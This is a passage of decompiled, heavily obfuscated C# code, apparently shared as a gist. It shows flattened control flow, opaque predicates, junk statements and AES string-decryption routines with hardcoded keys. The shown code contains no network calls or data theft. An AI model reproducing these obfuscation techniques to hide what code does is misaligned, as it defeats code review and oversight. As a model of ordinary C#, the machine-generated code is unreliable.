IL_11D8: | |
array[4] = (byte)num5; | |
num2 = 311; | |
if (!true) | |
{ | |
goto IL_11F5; | |
} | |
continue; | |
IL_2B7A: | |
array[13] = (byte)num5; | |
num2 = 7; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
continue; | |
} | |
goto IL_11D8; | |
IL_120D: | |
num3 = 39 - 24; | |
num2 = 67; | |
continue; | |
IL_1243: | |
array[22] = 162 - 106; | |
num2 = 52; | |
continue; | |
IL_1266: | |
num5 = 50 + 81; | |
num2 = 210; | |
continue; | |
IL_1283: | |
array[6] = 72 + 27; | |
num2 = 296; | |
continue; | |
IL_12E3: | |
array[31] = 129 - 43; | |
num2 = 101; | |
continue; | |
IL_1306: | |
array[18] = (byte)num6; | |
num2 = 203; | |
continue; | |
IL_133B: | |
array2[9] = 209 - 69; | |
num2 = 21; | |
continue; | |
IL_13D4: | |
array[18] = (byte)num5; | |
num2 = 310; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
goto IL_1AB6; | |
IL_1413: | |
array2[15] = 96 + 66; | |
num2 = 175; | |
if (!false) | |
{ | |
continue; | |
} | |
IL_1437: | |
num5 = 167 - 55; | |
num2 = 275; | |
Block_11: | |
continue; | |
IL_1552: | |
array2[6] = 178 - 59; | |
num2 = 150; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
goto IL_18BA; | |
IL_15DB: | |
array2[4] = 178 - 59; | |
num2 = 142; | |
continue; | |
IL_16BB: | |
array[30] = (byte)num5; | |
num2 = 238; | |
continue; | |
IL_16D7: | |
num6 = 104 + 38; | |
num2 = 26; | |
continue; | |
IL_16F4: | |
array[23] = 29 + 35; | |
num2 = 294; | |
continue; | |
IL_1749: | |
num4 = 148 - 49; | |
num2 = 62; | |
continue; | |
IL_17BD: | |
num3 = 93 - 61; | |
num2 = 83; | |
continue; | |
IL_182A: | |
num5 = 191 - 79; | |
num2 = 110; | |
continue; | |
IL_1896: | |
array[4] = 173 - 57; | |
num2 = 193; | |
if (!false) | |
{ | |
continue; | |
} | |
IL_18BA: | |
array[20] = (byte)num6; | |
num2 = 87; | |
Block_13: | |
continue; | |
IL_199B: | |
array[30] = (byte)num6; | |
num2 = 138; | |
if (true) | |
{ | |
continue; | |
} | |
IL_19B8: | |
num4 = 203 - 67; | |
num2 = 302; | |
continue; | |
IL_19ED: | |
array2[1] = 113 + 53; | |
num2 = 108; | |
if (false) | |
{ | |
goto IL_1A11; | |
} | |
continue; | |
IL_1A2A: | |
array2[8] = 220 - 73; | |
num2 = 236; | |
continue; | |
IL_1A77: | |
cryptoStream.Write(array4, 0, array4.Length); | |
num2 = 266; | |
continue; | |
IL_1A93: | |
array[25] = 44 + 83; | |
num2 = 305; | |
continue; | |
IL_2259: | |
array[25] = 142 - 47; | |
goto IL_1A93; | |
IL_2A28: | |
num3 = 134 - 44; | |
num2 = 60; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
goto IL_2259; | |
IL_1AB6: | |
cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 1); | |
num2 = 77; | |
continue; | |
IL_1AD0: | |
array2[10] = (byte)num4; | |
num2 = 14; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
IL_1AF1: | |
array[17] = 185 - 88; | |
num2 = 172; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
continue; | |
} | |
IL_1B19: | |
array2[12] = (byte)num3; | |
num2 = 130; | |
if (!true) | |
{ | |
goto IL_1B36; | |
} | |
continue; | |
IL_1C28: | |
array2[4] = 102 + 79; | |
num2 = 64; | |
if (true) | |
{ | |
continue; | |
} | |
IL_1C4C: | |
array2[4] = (byte)num3; | |
num2 = 174; | |
continue; | |
IL_1C81: | |
array[9] = 8 + 5; | |
num2 = 230; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
continue; | |
} | |
IL_1CA9: | |
num6 = 125 - 39; | |
num2 = 212; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
IL_1CCB: | |
array2[4] = 11 + 87; | |
num2 = 192; | |
if (true) | |
{ | |
continue; | |
} | |
IL_1CEF: | |
array2[2] = 37 + 62; | |
num2 = 205; | |
if (!true) | |
{ | |
goto IL_1D13; | |
} | |
Block_14: | |
continue; | |
IL_1D69: | |
num6 = 184 + 49; | |
num2 = 184; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
goto IL_1785; | |
IL_1D90: | |
array[23] = (byte)num5; | |
num2 = 279; | |
continue; | |
IL_1DAC: | |
num3 = 33 + 120; | |
num2 = 139; | |
if (!true) | |
{ | |
goto IL_1DCA; | |
} | |
continue; | |
IL_1DE2: | |
array2[15] = (byte)num4; | |
num2 = 188; | |
Block_16: | |
continue; | |
IL_1E8C: | |
num5 = 159 - 53; | |
num2 = 167; | |
continue; | |
IL_1EA9: | |
array2[7] = 53 + 115; | |
num2 = 27; | |
continue; | |
IL_1F7C: | |
num6 = 208 - 69; | |
num2 = 316; | |
if (!exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
goto IL_1F9E; | |
} | |
continue; | |
IL_2022: | |
array[27] = 118 + 71; | |
num2 = 179; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
IL_204A: | |
num5 = 252 - 84; | |
num2 = 13; | |
if (true) | |
{ | |
continue; | |
} | |
IL_2068: | |
num5 = 163 - 54; | |
num2 = 267; | |
continue; | |
IL_2085: | |
array[24] = 190 - 63; | |
num2 = 270; | |
continue; | |
IL_2140: | |
array[10] = (byte)num6; | |
num2 = 158; | |
continue; | |
IL_2175: | |
array[21] = (byte)num6; | |
num2 = 98; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
IL_2196: | |
array[10] = (byte)num6; | |
num2 = 211; | |
continue; | |
IL_21B2: | |
array[31] = 228 - 76; | |
num2 = 114; | |
continue; | |
IL_21F4: | |
array[2] = (byte)num5; | |
num2 = 171; | |
continue; | |
IL_2210: | |
array[15] = (byte)num6; | |
num2 = 315; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
continue; | |
} | |
goto IL_738; | |
IL_2236: | |
array2[3] = 38 + 108; | |
num2 = 173; | |
continue; | |
IL_27DB: | |
num5 = 108 + 82; | |
num2 = 242; | |
if (!true) | |
{ | |
goto IL_27F9; | |
} | |
Block_20: | |
continue; | |
IL_2864: | |
array[25] = (byte)num5; | |
num2 = 336; | |
if (!false) | |
{ | |
continue; | |
} | |
IL_2881: | |
array[27] = 197 - 65; | |
num2 = 314; | |
if (!true) | |
{ | |
goto IL_28A5; | |
} | |
Block_21: | |
continue; | |
IL_291B: | |
array[25] = (byte)num5; | |
num2 = 183; | |
continue; | |
IL_297C: | |
array[11] = (byte)num6; | |
num2 = 223; | |
continue; | |
IL_2998: | |
num4 = 153 - 51; | |
num2 = 38; | |
continue; | |
IL_29CD: | |
array2[3] = 145 - 48; | |
num2 = 153; | |
continue; | |
IL_2AA9: | |
num5 = 109 + 89; | |
num2 = 145; | |
if (!true) | |
{ | |
goto IL_2AC7; | |
} | |
Block_24: | |
Block_25:; | |
} | |
IL_18: | |
array2[2] = (byte)num3; | |
arg_2278_0 = 126; | |
continue; | |
IL_30: | |
array[0] = (byte)num6; | |
arg_2278_0 = 326; | |
continue; | |
IL_63: | |
array[6] = (byte)num5; | |
arg_2278_0 = 237; | |
continue; | |
IL_AF: | |
array2[0] = (byte)num3; | |
arg_2278_0 = 196; | |
continue; | |
IL_15E: | |
array[9] = 22 + 88; | |
arg_2278_0 = 250; | |
continue; | |
IL_17D: | |
num6 = 123 + 26; | |
arg_2278_0 = 178; | |
continue; | |
IL_196: | |
array2[2] = (byte)num3; | |
arg_2278_0 = 197; | |
continue; | |
IL_24F: | |
array[20] = 183 - 61; | |
arg_2278_0 = 144; | |
continue; | |
IL_26E: | |
array[0] = 186 - 62; | |
arg_2278_0 = 281; | |
continue; | |
IL_3E0: | |
array[10] = 143 - 47; | |
arg_2278_0 = 148; | |
continue; | |
IL_41D: | |
num4 = 191 - 63; | |
arg_2278_0 = 152; | |
continue; | |
IL_4D4: | |
num6 = 124 - 56; | |
arg_2278_0 = 20; | |
continue; | |
IL_505: | |
array[14] = 220 - 73; | |
arg_2278_0 = 177; | |
continue; | |
IL_588: | |
array[7] = (byte)num6; | |
arg_2278_0 = 293; | |
continue; | |
IL_635: | |
array[23] = (byte)num5; | |
arg_2278_0 = 324; | |
continue; | |
IL_738: | |
num5 = 84 + 43; | |
arg_2278_0 = 53; | |
continue; | |
IL_862: | |
array[7] = (byte)num6; | |
arg_2278_0 = 239; | |
continue; | |
IL_965: | |
num6 = 16 + 93; | |
arg_2278_0 = 245; | |
continue; | |
IL_99C: | |
array[1] = 203 - 67; | |
arg_2278_0 = 327; | |
continue; | |
IL_9D4: | |
array[14] = (byte)num5; | |
arg_2278_0 = 29; | |
continue; | |
IL_A21: | |
array2[1] = (byte)num4; | |
arg_2278_0 = 291; | |
continue; | |
IL_AC0: | |
num4 = 143 - 47; | |
arg_2278_0 = 39; | |
continue; | |
IL_B65: | |
num5 = 110 + 22; | |
arg_2278_0 = 191; | |
continue; | |
IL_B7E: | |
array[2] = 145 + 57; | |
arg_2278_0 = 32; | |
continue; | |
IL_C85: | |
num6 = 163 - 54; | |
arg_2278_0 = 332; | |
continue; | |
IL_CC2: | |
array[4] = (byte)num5; | |
arg_2278_0 = 36; | |
continue; | |
IL_DE7: | |
AesManaged aesManaged; | |
byte[] array5; | |
cryptoTransform = aesManaged.CreateDecryptor(array3, array5); | |
arg_2278_0 = 189; | |
continue; | |
IL_E1D: | |
num6 = 215 - 71; | |
arg_2278_0 = 95; | |
continue; | |
IL_E54: | |
array2[5] = 145 - 92; | |
arg_2278_0 = 17; | |
continue; | |
IL_E90: | |
array2[12] = 196 - 65; | |
arg_2278_0 = 255; | |
continue; | |
IL_EE5: | |
array[28] = (byte)num5; | |
arg_2278_0 = 137; | |
continue; | |
IL_FAA: | |
num6 = 29 + 1; | |
arg_2278_0 = 132; | |
continue; | |
IL_FDB: | |
array[13] = (byte)num6; | |
arg_2278_0 = 163; | |
continue; | |
IL_1012: | |
array[18] = (byte)num5; | |
arg_2278_0 = 88; | |
continue; | |
IL_104E: | |
array2 = new byte[16]; | |
arg_2278_0 = 268; | |
continue; | |
IL_10E6: | |
num6 = 135 - 45; | |
arg_2278_0 = 119; | |
continue; | |
IL_111B: | |
array[6] = 52 + 52; | |
arg_2278_0 = 289; | |
continue; | |
IL_11A0: | |
array2[7] = 73 + 91; | |
arg_2278_0 = 333; | |
continue; | |
IL_11F5: | |
array[11] = (byte)num6; | |
arg_2278_0 = 146; | |
continue; | |
IL_122A: | |
num6 = 133 - 44; | |
arg_2278_0 = 99; | |
continue; | |
IL_13FA: | |
num6 = 101 + 100; | |
arg_2278_0 = 264; | |
continue; | |
IL_1454: | |
array[22] = (byte)num5; | |
arg_2278_0 = 260; | |
continue; | |
IL_14C3: | |
num5 = 180 - 60; | |
arg_2278_0 = 232; | |
continue; | |
IL_153A: | |
array[24] = (byte)num6; | |
arg_2278_0 = 136; | |
continue; | |
IL_157F: | |
array2[1] = 145 - 48; | |
arg_2278_0 = 252; | |
continue; | |
IL_1641: | |
array[16] = (byte)num5; | |
arg_2278_0 = 328; | |
continue; | |
IL_168A: | |
array2[6] = (byte)num3; | |
arg_2278_0 = 313; | |
continue; | |
IL_1785: | |
array[13] = 105 + 97; | |
arg_2278_0 = 226; | |
continue; | |
IL_17DA: | |
num6 = 126 - 42; | |
arg_2278_0 = 320; | |
continue; | |
IL_1858: | |
array[8] = 162 - 116; | |
arg_2278_0 = 6; | |
continue; | |
IL_1877: | |
array[8] = 73 + 91; | |
arg_2278_0 = 12; | |
continue; | |
IL_18D6: | |
num6 = 149 - 49; | |
arg_2278_0 = 128; | |
continue; | |
IL_194B: | |
num5 = 150 - 57; | |
arg_2278_0 = 24; | |
continue; | |
IL_1964: | |
array[3] = (byte)num6; | |
arg_2278_0 = 106; | |
continue; | |
IL_197C: | |
array[8] = 53 + 115; | |
arg_2278_0 = 219; | |
continue; | |
IL_19D5: | |
array[29] = (byte)num6; | |
arg_2278_0 = 129; | |
continue; | |
IL_1A11: | |
num3 = 145 + 74; | |
arg_2278_0 = 47; | |
continue; | |
IL_1B36: | |
array2[9] = (byte)num3; | |
arg_2278_0 = 265; | |
continue; | |
IL_1BEA: | |
array2[8] = 24 + 6; | |
arg_2278_0 = 262; | |
continue; | |
IL_1D13: | |
aesManaged = new AesManaged(); | |
arg_2278_0 = 269; | |
continue; | |
IL_1DCA: | |
array[31] = (byte)num6; | |
arg_2278_0 = 68; | |
continue; | |
IL_1E25: | |
array[29] = (byte)num6; | |
arg_2278_0 = 280; | |
continue; | |
IL_1E74: | |
array2[14] = (byte)num4; | |
arg_2278_0 = 317; | |
continue; | |
IL_1EE4: | |
array[12] = (byte)num5; | |
arg_2278_0 = 56; | |
continue; | |
IL_1F2B: | |
array[24] = 145 - 48; | |
arg_2278_0 = 229; | |
continue; | |
IL_1F4A: | |
num6 = 254 - 84; | |
arg_2278_0 = 299; | |
continue; | |
IL_1FB8: | |
num4 = 26 - 2; | |
arg_2278_0 = 225; | |
continue; | |
IL_20C1: | |
array[19] = (byte)num6; | |
arg_2278_0 = 127; | |
continue; | |
IL_20D9: | |
num5 = 189 - 72; | |
arg_2278_0 = 37; | |
continue; | |
IL_215C: | |
num4 = 109 - 19; | |
arg_2278_0 = 306; | |
continue; | |
IL_27F9: | |
array[17] = 114 + 68; | |
arg_2278_0 = 263; | |
continue; | |
IL_28A5: | |
array2[5] = (byte)num4; | |
arg_2278_0 = 288; | |
continue; | |
IL_28BD: | |
array[20] = 167 - 55; | |
arg_2278_0 = 1; | |
continue; | |
IL_28DC: | |
array[16] = (byte)num6; | |
arg_2278_0 = 329; | |
continue; | |
IL_2A09: | |
array2[13] = 44 + 18; | |
arg_2278_0 = 274; | |
continue; | |
IL_2A4F: | |
cryptoStream.Close(); | |
arg_2278_0 = 122; | |
continue; | |
IL_2A60: | |
array[15] = (byte)num5; | |
arg_2278_0 = 325; | |
continue; | |
IL_2AC7: | |
array2[15] = (byte)num3; | |
arg_2278_0 = 290; | |
continue; | |
IL_2AFE: | |
array[20] = (byte)num5; | |
arg_2278_0 = 30; | |
continue; | |
IL_2B16: | |
array2[11] = (byte)num4; | |
arg_2278_0 = 247; | |
continue; | |
IL_2BA0: | |
array5 = array2; | |
arg_2278_0 = 209; | |
} | |
try | |
{ | |
IL_2BF3: | |
byte[] array6 = new byte[num7]; | |
int num8 = 2; | |
while (true) | |
{ | |
switch (num8) | |
{ | |
case 0: | |
case 2: | |
goto IL_2C06; | |
case 1: | |
case 3: | |
goto IL_2C57; | |
default: | |
num8 = 3; | |
if (exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto IL_2C57; | |
} | |
break; | |
} | |
} | |
IL_2C06: | |
Array.Copy(exusuKvsSOxhZLQsnV.eTKTfNqfR, num + 4, array6, 0, num7); | |
IL_2C57: | |
return Encoding.get_Unicode().GetString(array6, 0, array6.Length); | |
} | |
catch | |
{ | |
} | |
return ""; | |
} | |
// Token: 0x0600002D RID: 45 RVA: 0x00006058 File Offset: 0x00004458 | |
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))] | |
[MethodImpl(8)] | |
internal static string eQsFnVilq(string text) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
"{11111-22222-50001-00000}".Trim(); | |
byte[] array = Convert.FromBase64String(text); | |
return Encoding.get_Unicode().GetString(array, 0, array.Length); | |
} | |
// Token: 0x0600002E RID: 46 RVA: 0x00006094 File Offset: 0x00004494 | |
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))] | |
[MethodImpl(8)] | |
private static byte[] euODRA2sF(string text) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
byte[] array; | |
using (FileStream fileStream = new FileStream(text, 3, 1, 1)) | |
{ | |
int num = 0; | |
long length = fileStream.get_Length(); | |
int i = (int)length; | |
array = new byte[i]; | |
while (i > 0) | |
{ | |
int num2 = fileStream.Read(array, num, i); | |
num += num2; | |
i -= num2; | |
} | |
} | |
return array; | |
} | |
// Token: 0x0600002F RID: 47 RVA: 0x00006118 File Offset: 0x00004518 | |
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))] | |
[MethodImpl(8)] | |
private static byte[] e4ki0LuhD(byte[] array) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
MemoryStream memoryStream = new MemoryStream(); | |
AesManaged aesManaged = new AesManaged(); | |
aesManaged.set_Key(new byte[] | |
{ | |
161, | |
247, | |
127, | |
148, | |
52, | |
30, | |
89, | |
93, | |
3, | |
7, | |
174, | |
230, | |
182, | |
85, | |
113, | |
51, | |
62, | |
250, | |
127, | |
4, | |
6, | |
177, | |
109, | |
176, | |
142, | |
186, | |
229, | |
83, | |
29, | |
110, | |
8, | |
177 | |
}); | |
aesManaged.set_IV(new byte[] | |
{ | |
84, | |
72, | |
25, | |
143, | |
57, | |
242, | |
182, | |
79, | |
24, | |
99, | |
161, | |
175, | |
253, | |
77, | |
48, | |
33 | |
}); | |
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesManaged.CreateDecryptor(), 1); | |
cryptoStream.Write(array, 0, array.Length); | |
cryptoStream.Close(); | |
return memoryStream.ToArray(); | |
} | |
// Token: 0x06000030 RID: 48 RVA: 0x00006198 File Offset: 0x00004598 | |
[MethodImpl(8)] | |
private byte[] eyetSa8AI() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
return null; | |
} | |
// Token: 0x06000031 RID: 49 RVA: 0x000061B4 File Offset: 0x000045B4 | |
[MethodImpl(8)] | |
private byte[] e7T4PBXMA() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
return null; | |
} | |
// Token: 0x06000032 RID: 50 RVA: 0x000061D0 File Offset: 0x000045D0 | |
[MethodImpl(8)] | |
private byte[] eW2B1XAEl() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
string text = "{11111-22222-20001-00001}"; | |
if (text.get_Length() > 0) | |
{ | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
// Token: 0x06000033 RID: 51 RVA: 0x00006220 File Offset: 0x00004620 | |
[MethodImpl(8)] | |
private byte[] ev7QrvdMR() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
string text = "{11111-22222-20001-00002}"; | |
if (text.get_Length() > 0) | |
{ | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
// Token: 0x06000034 RID: 52 RVA: 0x00006270 File Offset: 0x00004670 | |
[MethodImpl(8)] | |
private byte[] eCHho562R() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
string text = "{11111-22222-30001-00001}"; | |
if (text.get_Length() > 0) | |
{ | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
// Token: 0x06000035 RID: 53 RVA: 0x000062C0 File Offset: 0x000046C0 | |
[MethodImpl(8)] | |
private byte[] eNDbL8HsD() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
string text = "{11111-22222-30001-00002}"; | |
if (text.get_Length() > 0) | |
{ | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
// Token: 0x06000036 RID: 54 RVA: 0x00006310 File Offset: 0x00004710 | |
[MethodImpl(8)] | |
internal byte[] esT8qNZ6Z() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
string text = "{11111-22222-40001-00001}"; | |
if (text.get_Length() > 0) | |
{ | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
// Token: 0x06000037 RID: 55 RVA: 0x00006360 File Offset: 0x00004760 | |
[MethodImpl(8)] | |
internal byte[] eQKmas6sd() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
string text = "{11111-22222-40001-00002}"; | |
if (text.get_Length() > 0) | |
{ | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
// Token: 0x06000038 RID: 56 RVA: 0x000063B0 File Offset: 0x000047B0 | |
[MethodImpl(8)] | |
internal byte[] eWQwYZGvG() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
string text = "{11111-22222-50001-00001}"; | |
if (text.get_Length() > 0) | |
{ | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
// Token: 0x06000039 RID: 57 RVA: 0x00006400 File Offset: 0x00004800 | |
[MethodImpl(8)] | |
internal byte[] e4JIrpGbP() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
string text = "{11111-22222-50001-00002}"; | |
if (text.get_Length() > 0) | |
{ | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
return new byte[] | |
{ | |
1, | |
2 | |
}; | |
} | |
// Token: 0x0600003A RID: 58 RVA: 0x00006450 File Offset: 0x00004850 | |
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))] | |
[MethodImpl(8)] | |
internal static void ce4DmfsmSrOT856tDgfrkMb() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
} | |
// Token: 0x0600003B RID: 59 RVA: 0x00006460 File Offset: 0x00004860 | |
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))] | |
[MethodImpl(8)] | |
internal static string evpxd9ltv(string text, string text2) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
byte[] bytes = Encoding.get_Unicode().GetBytes(text); | |
byte[] array = bytes; | |
byte[] key = new byte[] | |
{ | |
82, | |
102, | |
104, | |
110, | |
32, | |
77, | |
24, | |
34, | |
118, | |
181, | |
51, | |
17, | |
18, | |
51, | |
12, | |
109, | |
10, | |
32, | |
77, | |
24, | |
34, | |
158, | |
161, | |
41, | |
97, | |
28, | |
118, | |
181, | |
5, | |
25, | |
1, | |
88 | |
}; | |
SHA1Managed sHA1Managed = new SHA1Managed(); | |
byte[] iV = sHA1Managed.ComputeHash(Encoding.get_Unicode().GetBytes(text2)); | |
MemoryStream memoryStream = new MemoryStream(); | |
AesManaged aesManaged = new AesManaged(); | |
aesManaged.set_Key(key); | |
aesManaged.set_IV(iV); | |
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesManaged.CreateEncryptor(), 1); | |
cryptoStream.Write(array, 0, array.Length); | |
cryptoStream.Close(); | |
return Convert.ToBase64String(memoryStream.ToArray()); | |
} | |
// Token: 0x0600003C RID: 60 RVA: 0x00006504 File Offset: 0x00004904 | |
[MethodImpl(8)] | |
public exusuKvsSOxhZLQsnV() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
base..ctor(); | |
} | |
// Token: 0x0600003D RID: 61 RVA: 0x0000651C File Offset: 0x0000491C | |
[MethodImpl(8)] | |
internal static bool zvg5ndW6LDMdXVdWcF() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
return true; | |
} | |
// Token: 0x0600003E RID: 62 RVA: 0x00006530 File Offset: 0x00004930 | |
[MethodImpl(8)] | |
internal static bool lvYMdYLtZONPtkk9EC() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
return false; | |
} | |
// Token: 0x04000012 RID: 18 | |
private static byte[] eAm9qmvKj; | |
// Token: 0x04000013 RID: 19 | |
private static byte[] e870FHr3g; | |
// Token: 0x04000014 RID: 20 | |
private static object eC2YQ4qZN; | |
// Token: 0x04000015 RID: 21 | |
private static int[] e2EkluGcy; | |
// Token: 0x04000016 RID: 22 | |
private static IntPtr eTB3iFeo2; | |
// Token: 0x04000017 RID: 23 | |
private static byte[] eEV7t39YD; | |
// Token: 0x04000018 RID: 24 | |
private static IntPtr e8ts5Z8vY; | |
// Token: 0x04000019 RID: 25 | |
private static byte[] eTKTfNqfR; | |
// Token: 0x0200000D RID: 13 | |
internal class eDyeSaa8AI7TPBXMAW : Attribute | |
{ | |
// Token: 0x0600003F RID: 63 RVA: 0x00006544 File Offset: 0x00004944 | |
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))] | |
[MethodImpl(8)] | |
public eDyeSaa8AI7TPBXMAW(object obj) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE(); | |
base..ctor(); | |
} | |
// Token: 0x0200000E RID: 14 | |
internal class e21XAEFlv7rvdMRCHo<T> | |
{ | |
// Token: 0x06000040 RID: 64 RVA: 0x00006560 File Offset: 0x00004960 | |
[MethodImpl(8)] | |
public e21XAEFlv7rvdMRCHo() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE(); | |
base..ctor(); | |
} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment